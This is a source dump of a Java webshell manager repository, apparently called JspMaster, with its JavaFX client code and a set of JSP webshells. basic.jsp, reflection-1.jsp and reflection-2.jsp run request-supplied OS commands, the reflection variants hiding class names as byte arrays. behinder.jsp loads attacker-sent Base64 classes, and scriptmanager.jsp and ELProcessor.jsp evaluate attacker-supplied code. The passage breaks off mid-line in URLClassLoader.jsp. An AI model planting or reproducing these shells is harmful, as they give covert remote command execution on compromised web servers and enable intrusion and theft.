├── config └── config.properties ├── src ├── META-INF │ └── MANIFEST.MF └── main │ ├── resources │ └── icon │ │ ├── drive.png │ │ ├── file.png │ │ └── folder.png │ └── java │ └── com │ └── feihong │ ├── util │ ├── PasswordUtil.java │ ├── InputValidatorUtil.java │ ├── MyClassLoader.java │ ├── WrappedHttpRequest.java │ ├── ConnectionUtil.java │ ├── BasicSetting.java │ ├── BasicUtil.java │ ├── ConfigUtil.java │ ├── EncryptUtil.java │ └── FileOperationUtil.java │ ├── executor │ ├── CommandExecutor.java │ ├── CommandExecutorFactory.java │ ├── RMICommandExecutor.java │ ├── BasicCommandExecutor.java │ ├── JNDICommandExecutor.java │ ├── ReflectionCommandExecutor.java │ ├── ClassLoaderCommandExecutor.java │ ├── ScriptManagerExecutor.java │ ├── ELProcessorCommandExecutor.java │ ├── BehinderCommandExecutor.java │ ├── DeserializationCommandExecutor.java │ └── XSLTCommandExecutor.java │ ├── ui │ ├── PromptMessageUI.java │ ├── Start.java │ ├── MainUI.java │ ├── PenddingUI.java │ ├── ShellOperationMenu.java │ ├── ExecuteCMDPane.java │ └── LoginUI.java │ ├── bean │ ├── BasicInfo.java │ ├── FileModel.java │ ├── CommandExecutionResult.java │ ├── Entry.java │ └── ShellEntry.java │ ├── task │ ├── TestConnectionTask.java │ ├── CheckLoginPassword.java │ ├── OpenMainUITask.java │ ├── WindowsPlatformUploadThread.java │ ├── InitializeTask.java │ ├── LinuxPlatformDownloadTask.java │ ├── LinuxPlatformUploadThread.java │ ├── WindowsPlatformDownloadThread.java │ ├── WindowsPlatformDownloadTask.java │ ├── LinuxPlatformDownloadThread.java │ ├── LinuxPlatformUploadTask.java │ └── WindowsPlatformUploadTask.java │ ├── asm │ ├── BehinderExploit.java │ ├── BehinderExploitAES.java │ └── AsmForBehind.java │ └── db │ └── DBUtil.java ├── tool ├── jndi.zip ├── rmi.zip └── debug.jar ├── database └── data.db ├── imgForReadme ├── rmi.png ├── jndi.png ├── start.png └── filemanage.png ├── plugin ├── PHPDemo.class └── CommandExecutor.java ├── shell ├── 流量未加密版本 │ ├── phpdemo.php │ ├── behinder.jsp │ ├── basic.jsp │ ├── ELProcessor.jsp │ ├── reflection-2.jsp │ ├── reflection-1.jsp │ ├── scriptmanager.jsp │ ├── URLClassLoader.jsp │ ├── xslt.jsp │ ├── reflection-3.jsp │ ├── jndi.jsp │ ├── rmi.jsp │ └── deserialization.jsp └── 流量加密版本 │ ├── xslt-aes.jsp │ ├── URLClassLoader-aes.jsp │ ├── behinder-aes.jsp │ ├── basic-aes.jsp │ ├── reflection-aes-2.jsp │ ├── ELProcessor-aes.jsp │ ├── scriptmanager-aes.jsp │ ├── reflection-aes-1.jsp │ ├── reflection-aes-3.jsp │ ├── jndi-aes.jsp │ ├── rmi-aes.jsp │ └── deserialization-aes.jsp ├── .idea ├── .gitignore ├── gradle.xml ├── vcs.xml ├── description.html ├── encodings.xml ├── modules.xml ├── libraries │ ├── Maven__org_ow2_asm_asm_7_2.xml │ ├── Maven__junit_junit_4_13_rc_1.xml │ ├── Maven__javax_javaee_api_8_0_1.xml │ ├── Maven__com_jfoenix_jfoenix_9_0_9.xml │ ├── Maven__commons_io_commons_io_2_6.xml │ ├── Maven__com_sun_mail_javax_mail_1_6_2.xml │ ├── Maven__javax_activation_activation_1_1.xml │ ├── Maven__org_hamcrest_hamcrest_core_1_3.xml │ ├── Maven__org_xerial_sqlite_jdbc_3_28_0.xml │ ├── Maven__commons_codec_commons_codec_1_11.xml │ ├── Maven__commons_logging_commons_logging_1_2.xml │ ├── Maven__org_apache_httpcomponents_httpcore_4_4_12.xml │ ├── Maven__org_apache_httpcomponents_httpclient_4_5_10.xml │ └── Maven__org_apache_commons_commons_collections4_4_4.xml ├── misc.xml ├── compiler.xml ├── dataSources.xml └── artifacts │ └── JspMaster.xml ├── JspMaster.iml ├── README.md └── pom.xml /config/config.properties: -------------------------------------------------------------------------------- 1 | IV= 2 | communicationKey= 3 | encrypt= 4 | -------------------------------------------------------------------------------- /src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.feihong.ui.Start 3 | 4 | -------------------------------------------------------------------------------- /tool/jndi.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/tool/jndi.zip -------------------------------------------------------------------------------- /tool/rmi.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/tool/rmi.zip -------------------------------------------------------------------------------- /tool/debug.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/tool/debug.jar -------------------------------------------------------------------------------- /database/data.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/database/data.db -------------------------------------------------------------------------------- /imgForReadme/rmi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/rmi.png -------------------------------------------------------------------------------- /plugin/PHPDemo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/plugin/PHPDemo.class -------------------------------------------------------------------------------- /shell/流量未加密版本/phpdemo.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /imgForReadme/jndi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/jndi.png -------------------------------------------------------------------------------- /imgForReadme/start.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/start.png -------------------------------------------------------------------------------- /shell/流量加密版本/xslt-aes.jsp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/shell/流量加密版本/xslt-aes.jsp -------------------------------------------------------------------------------- /imgForReadme/filemanage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/imgForReadme/filemanage.png -------------------------------------------------------------------------------- /src/main/resources/icon/drive.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/src/main/resources/icon/drive.png -------------------------------------------------------------------------------- /src/main/resources/icon/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/src/main/resources/icon/file.png -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml 3 | 4 | # Datasource local storage ignored files 5 | /dataSources.local.xml -------------------------------------------------------------------------------- /src/main/resources/icon/folder.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/JspMaster-Deprecated/HEAD/src/main/resources/icon/folder.png -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/PasswordUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | public class PasswordUtil { 4 | public static String password; 5 | } 6 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /.idea/description.html: -------------------------------------------------------------------------------- 1 | Simple JavaFX 2.0 application that includes simple .fxml file with attached controller and Main class to quick start. Artifact to build JavaFX application is provided. 2 | -------------------------------------------------------------------------------- /.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /plugin/CommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import java.io.IOException; 5 | 6 | public interface CommandExecutor { 7 | public abstract String getName(); 8 | public abstract CommandExecutionResult exec(String command); 9 | } 10 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/CommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | 5 | import java.io.IOException; 6 | 7 | public interface CommandExecutor { 8 | public abstract String getName(); 9 | public abstract CommandExecutionResult exec(String command); 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ui/PromptMessageUI.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ui; 2 | 3 | import javafx.scene.control.Alert; 4 | 5 | public class PromptMessageUI { 6 | public static void getAlert(String title, String message){ 7 | Alert alert = new Alert(Alert.AlertType.INFORMATION); 8 | alert.setTitle(title); 9 | alert.setHeaderText(null); 10 | alert.setContentText(message); 11 | alert.showAndWait(); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_ow2_asm_asm_7_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__junit_junit_4_13_rc_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__javax_javaee_api_8_0_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_jfoenix_jfoenix_9_0_9.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_io_commons_io_2_6.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__com_sun_mail_javax_mail_1_6_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__javax_activation_activation_1_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_hamcrest_hamcrest_core_1_3.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_xerial_sqlite_jdbc_3_28_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_codec_commons_codec_1_11.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 9 | 10 | 11 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_apache_httpcomponents_httpcore_4_4_12.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_apache_httpcomponents_httpclient_4_5_10.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /shell/流量未加密版本/behinder.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.BufferedReader" %> 2 | <%@ page import="java.util.Base64" %> 3 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 4 | <%! 5 | class U extends ClassLoader{ 6 | U(ClassLoader c){ 7 | super(c); 8 | } 9 | 10 | public Class g(byte []b){ 11 | return super.defineClass(b,0,b.length); 12 | } 13 | } 14 | %> 15 | <% 16 | String wholeStr = request.getReader().readLine(); 17 | if(wholeStr != null && !wholeStr.trim().equals("")) { 18 | new U(this.getClass().getClassLoader()).g(Base64.getDecoder().decode(wholeStr)).newInstance().equals(pageContext); 19 | } 20 | %> -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_apache_commons_commons_collections4_4_4.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/CommandExecutorFactory.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.util.BasicSetting; 4 | import com.feihong.util.MyClassLoader; 5 | 6 | public class CommandExecutorFactory { 7 | 8 | public static CommandExecutor getInstance(){ 9 | try { 10 | String className = BasicSetting.getInstance().shells.get(BasicSetting.getInstance().shellType); 11 | MyClassLoader classLoader = new MyClassLoader(); 12 | Class clazz = classLoader.findClass(className); 13 | 14 | return (CommandExecutor) clazz.newInstance(); 15 | } catch (Exception e) { 16 | e.printStackTrace(); 17 | } 18 | 19 | return null; 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/RMICommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.WrappedHttpRequest; 6 | 7 | public class RMICommandExecutor implements CommandExecutor { 8 | 9 | @Override 10 | public String getName() { 11 | return "RMI"; 12 | } 13 | 14 | @Override 15 | public CommandExecutionResult exec(String command) { 16 | String wrappedCommand; 17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 18 | wrappedCommand = command; 19 | }else{ 20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 21 | wrappedCommand = "cmd.exe,/c," + command; 22 | }else{ 23 | wrappedCommand = "/bin/bash,-c," + command; 24 | } 25 | } 26 | 27 | return WrappedHttpRequest.post(wrappedCommand); 28 | } 29 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/bean/BasicInfo.java: -------------------------------------------------------------------------------- 1 | package com.feihong.bean; 2 | 3 | import javafx.beans.property.SimpleStringProperty; 4 | 5 | public class BasicInfo { 6 | private SimpleStringProperty type; 7 | private SimpleStringProperty value; 8 | 9 | public BasicInfo(String type, String value) { 10 | this.type = new SimpleStringProperty(type); 11 | this.value = new SimpleStringProperty(value); 12 | } 13 | 14 | public BasicInfo(){ 15 | 16 | } 17 | 18 | public String getType() { 19 | return type.get(); 20 | } 21 | 22 | public SimpleStringProperty typeProperty() { 23 | return type; 24 | } 25 | 26 | public void setType(String type) { 27 | this.type.set(type); 28 | } 29 | 30 | public String getValue() { 31 | return value.get(); 32 | } 33 | 34 | public SimpleStringProperty valueProperty() { 35 | return value; 36 | } 37 | 38 | public void setValue(String value) { 39 | this.value.set(value); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/BasicCommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.WrappedHttpRequest; 6 | 7 | public class BasicCommandExecutor implements CommandExecutor { 8 | 9 | @Override 10 | public String getName() { 11 | return "Basic"; 12 | } 13 | 14 | @Override 15 | public CommandExecutionResult exec(String command) { 16 | String wrappedCommand; 17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 18 | wrappedCommand = command; 19 | }else{ 20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 21 | wrappedCommand = "cmd.exe,/c," + command; 22 | }else{ 23 | wrappedCommand = "/bin/bash,-c," + command; 24 | } 25 | } 26 | 27 | return WrappedHttpRequest.post(wrappedCommand); 28 | } 29 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/JNDICommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.WrappedHttpRequest; 6 | 7 | public class JNDICommandExecutor implements CommandExecutor { 8 | 9 | @Override 10 | public String getName() { 11 | return "JNDI"; 12 | } 13 | 14 | @Override 15 | public CommandExecutionResult exec(String command) { 16 | String wrappedCommand; 17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 18 | wrappedCommand = command; 19 | }else{ 20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 21 | wrappedCommand = "cmd.exe,/c," + command; 22 | }else{ 23 | wrappedCommand = "/bin/bash,-c," + command; 24 | } 25 | } 26 | 27 | return WrappedHttpRequest.post(wrappedCommand); 28 | } 29 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/executor/ReflectionCommandExecutor.java: -------------------------------------------------------------------------------- 1 | package com.feihong.executor; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.WrappedHttpRequest; 6 | 7 | public class ReflectionCommandExecutor implements CommandExecutor { 8 | 9 | @Override 10 | public String getName() { 11 | return "Reflection"; 12 | } 13 | 14 | @Override 15 | public CommandExecutionResult exec(String command) { 16 | String wrappedCommand; 17 | if(command.equalsIgnoreCase("ipconfig") || command.trim().equalsIgnoreCase("ifconfig")){ 18 | wrappedCommand = command; 19 | }else{ 20 | if(BasicSetting.getInstance().shellPlatform.trim().equalsIgnoreCase("windows")){ 21 | wrappedCommand = "cmd.exe,/c," + command; 22 | }else{ 23 | wrappedCommand = "/bin/bash,-c," + command; 24 | } 25 | } 26 | 27 | return WrappedHttpRequest.post(wrappedCommand); 28 | } 29 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/TestConnectionTask.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.bean.ShellEntry; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.ConnectionUtil; 6 | import javafx.concurrent.Task; 7 | 8 | public class TestConnectionTask extends Task { 9 | private String result; 10 | private ShellEntry entry; 11 | private int status = 0; 12 | 13 | 14 | public TestConnectionTask(ShellEntry entry){ 15 | this.entry = entry; 16 | } 17 | 18 | public int getStatus(){ 19 | return this.status; 20 | } 21 | 22 | public String getConnectionStatus(){ 23 | return this.result; 24 | } 25 | 26 | @Override 27 | protected Integer call() { 28 | BasicSetting.getInstance().initialize(entry); 29 | String connecionStatus = ConnectionUtil.getConnectionStatus(); 30 | this.result = connecionStatus; 31 | this.status = 1; 32 | 33 | return 1; 34 | } 35 | } 36 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382 -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /shell/流量未加密版本/basic.jsp: -------------------------------------------------------------------------------- 1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 2 | <%@ page import="java.io.*" %>   3 | <% request.setCharacterEncoding("UTF-8"); %> 4 | <% 5 | try { 6 | BufferedReader br = request.getReader(); 7 | String str, wholeStr = ""; 8 | while((str = br.readLine()) != null) { 9 | wholeStr += str + "\n"; 10 | } 11 | br.close(); 12 | 13 | if(wholeStr != null && !wholeStr.trim().equals("")){ 14 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 15 | InputStream in = Runtime.getRuntime().exec(wholeStr.split(",",3)).getInputStream(); 16 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 17 | byte[] buffer = new byte[1024]; 18 | int len = 0; 19 | while((len = in.read(buffer)) != -1) { 20 | baos.write(buffer, 0, len); 21 | } 22 | response.getWriter().print(baos.toString().trim()); 23 | out.clearBuffer(); 24 | in.close(); 25 | baos.close(); 26 | } 27 | } catch (IOException e) { 28 | System.err.println(e); 29 | } 30 | %> 31 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/CheckLoginPassword.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.db.DBUtil; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.EncryptUtil; 6 | import com.feihong.util.PasswordUtil; 7 | import javafx.concurrent.Task; 8 | 9 | public class CheckLoginPassword extends Task { 10 | private int status = 0; 11 | 12 | public int getStatus(){ 13 | return status; 14 | } 15 | 16 | @Override 17 | protected Integer call(){ 18 | try{ 19 | //打开时解密 sqlite 数据库文件 20 | EncryptUtil.decryptFile(BasicSetting.getInstance().dbFile, PasswordUtil.password); 21 | //调用这个方法主要是看会不会抛出异常。如果正常执行未抛出异常,说明解密成功,否则说明密码错误,解密失败 22 | DBUtil.queryAll(); 23 | status = 1; 24 | }catch(Exception e) { 25 | if (e.getMessage().contains("file is not a database")) { 26 | status = -1; 27 | } 28 | status = -1; 29 | } 30 | 31 | return 1; 32 | } 33 | } 34 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382 -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/InputValidatorUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import java.net.URL; 4 | 5 | public class InputValidatorUtil { 6 | 7 | public static boolean isValidURL(String url){ 8 | try{ 9 | URL u = new URL(url); 10 | }catch(Exception e) { 11 | return false; 12 | } 13 | 14 | return true; 15 | } 16 | 17 | public static boolean isValidEncryptKey(String encrypteKey){ 18 | if(encrypteKey == null || encrypteKey.equalsIgnoreCase("")){ 19 | return true; 20 | } 21 | 22 | if(encrypteKey.length() != 32){ 23 | return false; 24 | } 25 | 26 | String regex = "^[a-zA-Z0-9]{32}$"; 27 | return encrypteKey.matches(regex); 28 | } 29 | 30 | public static boolean isValidIV(String iv){ 31 | if(iv == null || iv.equalsIgnoreCase("")){ 32 | return true; 33 | } 34 | 35 | if(iv.length() != 16){ 36 | return false; 37 | } 38 | 39 | String regex = "^[a-zA-Z0-9]{16}$"; 40 | return iv.matches(regex); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /.idea/dataSources.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | sqlite.xerial 6 | true 7 | org.sqlite.JDBC 8 | jdbc:sqlite:G:\code\java\pudge2\target\classes\database\data.db 9 | 10 | 11 | 12 | 13 | 14 | sqlite.xerial 15 | true 16 | org.sqlite.JDBC 17 | jdbc:sqlite:G:\code\java\pudge2\src\main\resources\database\data.db 18 | 19 | 20 | 21 | 22 | 23 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/MyClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import java.io.File; 4 | import java.nio.file.Files; 5 | import java.nio.file.Path; 6 | import java.nio.file.Paths; 7 | 8 | public class MyClassLoader extends ClassLoader{ 9 | 10 | @Override 11 | public Class findClass(String name){ 12 | Class clazz = null; 13 | try{ 14 | clazz = Class.forName(name); 15 | } catch (ClassNotFoundException e) { 16 | try { 17 | String mypath = System.getProperty("user.dir") + "/plugin/" + name + ".class"; 18 | if(!new File(mypath).exists()){ 19 | mypath = System.getProperty("user.dir") + "/plugin/" + name.substring(name.lastIndexOf(".") + 1) + ".class"; 20 | } 21 | 22 | Path path = Paths.get(mypath); 23 | byte[] cLassBytes = Files.readAllBytes(path); 24 | clazz = defineClass(name, cLassBytes, 0, cLassBytes.length); 25 | } catch (Exception e2) { 26 | e2.printStackTrace(); 27 | } 28 | } 29 | 30 | return clazz; 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /shell/流量未加密版本/ELProcessor.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="javax.el.ELProcessor" %> 2 | <%@ page import="java.io.BufferedInputStream" %> 3 | <%@ page import="java.io.ByteArrayOutputStream" %> 4 | <%@ page import="java.io.BufferedReader" %> 5 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 6 | <% 7 | BufferedReader br = request.getReader(); 8 | String str, wholeStr = ""; 9 | while((str = br.readLine()) != null) { 10 | wholeStr += str + "\n"; 11 | } 12 | br.close(); 13 | 14 | if(wholeStr != null && !wholeStr.trim().equals("")) { 15 | wholeStr = wholeStr.substring(0, wholeStr.length() - 1); 16 | ELProcessor el = new ELProcessor(); 17 | BufferedInputStream bis = (BufferedInputStream)el.getValue(wholeStr,Class.forName("java.io.BufferedInputStream")); 18 | int len = 0; 19 | byte[] bytes = new byte[1024]; 20 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 21 | while((len = bis.read(bytes)) != -1){ 22 | baos.write(bytes,0,len); 23 | } 24 | 25 | response.getWriter().print(baos.toString().trim()); 26 | bis.close(); 27 | baos.close(); 28 | } 29 | %> 30 | -------------------------------------------------------------------------------- /shell/流量未加密版本/reflection-2.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 3 | <% 4 | BufferedReader br = request.getReader(); 5 | String str, wholeStr = ""; 6 | while((str = br.readLine()) != null) { 7 | wholeStr += str + "\n"; 8 | } 9 | br.close(); 10 | if(wholeStr != null && !wholeStr.trim().equals("")){ 11 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 12 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,80,114,111,99,101,115,115,66,117,105,108,100,101,114})); 13 | InputStream in = ((Process)clazz.getMethod(new String(new byte[]{115,116,97,114,116})).invoke(clazz.getConstructor(String[].class).newInstance(new Object[]{wholeStr.split(",",3)}), new Object[]{})).getInputStream(); 14 | int len = 0; 15 | byte[] buffer = new byte[1024]; 16 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 17 | while((len = in.read(buffer)) != -1){ 18 | baos.write(buffer, 0, len); 19 | } 20 | 21 | response.getWriter().print(baos.toString().trim()); 22 | in.close(); 23 | baos.close(); 24 | } 25 | %> -------------------------------------------------------------------------------- /shell/流量未加密版本/reflection-1.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 3 | <% 4 | BufferedReader br = request.getReader(); 5 | String str, wholeStr = ""; 6 | while((str = br.readLine()) != null) { 7 | wholeStr += str + "\n"; 8 | } 9 | br.close(); 10 | if(wholeStr != null && !wholeStr.trim().equals("")){ 11 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 12 | Class clazz = Class.forName(new String(new byte[] {106,97,118,97,46,108,97,110,103,46,82,117,110,116,105,109,101})); 13 | InputStream in = ((Process) clazz.getMethod(new String(new byte[] {101,120,101,99}), String[].class).invoke(clazz.getMethod(new String(new byte[] {103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{wholeStr.split(",",3)})).getInputStream(); 14 | int len = 0; 15 | byte[] buffer = new byte[1024]; 16 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 17 | while((len = in.read(buffer)) != -1){ 18 | baos.write(buffer, 0, len); 19 | } 20 | 21 | response.getWriter().print(baos.toString().trim()); 22 | in.close(); 23 | baos.close(); 24 | } 25 | %> -------------------------------------------------------------------------------- /shell/流量未加密版本/scriptmanager.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.io.*" %> 2 | <%@ page import="javax.script.ScriptEngine" %> 3 | <%@ page import="javax.script.ScriptEngineManager" %> 4 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 5 | <%! 6 | public String readInputStream(InputStream inputStream) throws IOException { 7 | int len = 0; 8 | byte[] buffer = new byte[1024]; 9 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 10 | while((len = inputStream.read(buffer)) != -1){ 11 | baos.write(buffer, 0, len); 12 | } 13 | baos.close(); 14 | return baos.toString().trim(); 15 | } 16 | %> 17 | <% 18 | ScriptEngineManager manager = new ScriptEngineManager(); 19 | ScriptEngine engine = manager.getEngineByName("javascript"); 20 | 21 | engine.put("obj", this); 22 | engine.put("out", out); 23 | 24 | BufferedReader br = request.getReader(); 25 | String str, wholeStr = ""; 26 | while((str = br.readLine()) != null) { 27 | wholeStr += str + "\n"; 28 | } 29 | if(wholeStr != null && !wholeStr.trim().equals("")){ 30 | wholeStr = wholeStr.substring(0,wholeStr.length()-1); 31 | engine.eval(wholeStr.trim()); 32 | } 33 | %> -------------------------------------------------------------------------------- /shell/流量未加密版本/URLClassLoader.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.net.URL" %> 2 | <%@ page import="java.net.URLClassLoader" %> 3 | <%@ page import="java.lang.reflect.Method" %> 4 | <%@ page import="java.io.BufferedReader" %> 5 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 6 | <%! 7 | private class Holder{ 8 | public Class getInstance() { 9 | Class clazz = null; 10 | try{ 11 | clazz = Class.forName("org.apache.clinton.DebugRequest", true, new URLClassLoader(new URL[]{new 